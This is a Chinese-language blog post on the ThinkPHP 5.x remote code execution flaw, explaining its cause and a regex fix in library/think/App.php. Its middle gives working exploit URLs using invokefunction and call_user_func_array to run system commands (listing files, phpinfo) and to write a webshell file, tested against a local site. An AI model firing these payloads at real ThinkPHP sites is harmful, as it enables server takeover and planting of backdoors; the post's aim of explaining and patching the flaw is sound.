
Thinkphp遠程命令執(zhí)行漏洞怎么修復?
聲明:該文章由作者(ksbugs)發(fā)表,轉(zhuǎn)載此文章須經(jīng)作者同意并請附上出處(0XUCN)及本頁鏈接。。
THINKPHP漏洞修復,官方于近日,對現(xiàn)有的thinkphp5.0到5.1所有版本進行了升級,以及補丁更新,這次更新主要是進行了一些漏洞修復,最嚴重的就是之前存在的SQL注入漏洞,以及遠程代碼執(zhí)行查詢系統(tǒng)的漏洞都進行了修復,官方本以為沒有問題了,但是在實際的安全檢測當中發(fā)現(xiàn),還是存在問題,還是可以遠程代碼進行注入,插入非法字符,提交到服務器后端中去。
關(guān)于這次發(fā)現(xiàn)的oday漏洞,我們來看下官方之前更新的代碼文件是怎么樣的,更新的程序文件路徑是library文件夾下的think目錄里的app.php,如下圖:
漏洞產(chǎn)生的原因就在于這個控制器這里,整個thinkphp框架里的功能對控制器沒有進行嚴格的安全過濾于檢查,使攻擊者可以偽造惡意參數(shù)進行強制插入,最根本的原因就是正則的表達式寫的不好,導致可以繞過。
在controller獲取控制器后,直接進行賦值,但是并沒有對控制器的名進行嚴格的檢測,導致可以使用斜杠等特殊符號來遠程代碼注入。
我們來搭建一下網(wǎng)站的環(huán)境,apache+mysql+Linux centos系統(tǒng),搭建好的測試環(huán)境地址是127.0.01/anquan ,我們可以直接在index.php后面?zhèn)卧旃魠?shù),示例如下:
127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
直接get方式提交到網(wǎng)站中去,可以直接查詢到網(wǎng)站當前根目錄的所有文件,截圖如下:
通過該漏洞也可以直接遠程代碼注入執(zhí)行phpinfo語句,查詢當前的php版本,路徑,擴展,以及php.ini存放的地址,都可以看得到,構(gòu)造如下代碼即可。
127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
有些人可能會問了,既然都可以phpinfo,查詢目錄文件,可不可以getshell寫網(wǎng)站木馬文件到網(wǎng)站里呢? 答案是可以的,我們測試的時候是以一句話木馬代碼的寫入到safe.php文件里。
127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php
關(guān)于這次thinkphp的漏洞利用以及分析到此就結(jié)束了,該漏洞屬于高危漏洞,危害嚴重性較大,很多升級更新補丁的網(wǎng)站都會受到攻擊,甚至有些網(wǎng)站會被掛馬,那么該如何修復thinkphp的漏洞呢?替換之前的正規(guī)則表達式即可,還需要對網(wǎng)站的目錄進行權(quán)限部署,防止生成php文件,對網(wǎng)站上的漏洞進行修復,或者是對網(wǎng)站安全防護參數(shù)進行重新設(shè)置,使他符合當時的網(wǎng)站環(huán)境。如果不懂如何修復網(wǎng)站漏洞,也可以找專業(yè)的網(wǎng)站安全公司來處理,國內(nèi)如Sinesafe和綠盟、啟明星辰等安全公司比較專業(yè).
針對于這個情況,我們要對其library/think/App.php代碼里的正規(guī)則表達式進行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
[超站]友情鏈接:
四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級服務市場:https://www.ijiandao.com/
- 1 豐收時節(jié)感悟總書記的“三農(nóng)”情懷 7904339
- 2 “樺加沙”風眼相當于三個香港 7809419
- 3 樺加沙強度接近地球上限?回應來了 7712680
- 4 盤點新疆的全國之“最” 7615827
- 5 “晚1秒就撞 我肯定不慣著他” 7523785
- 6 醫(yī)院CT報告單現(xiàn)不文明用語 7427222
- 7 護網(wǎng):社交賬號不受控制?木馬在作祟 7329084
- 8 今晚是國慶節(jié)前油價最后一次調(diào)整 7231909
- 9 男子撿菌子 一抬頭黑熊呲牙站面前 7142366
- 10 烏魯木齊天山后峽發(fā)現(xiàn)一只死亡雪豹 7042743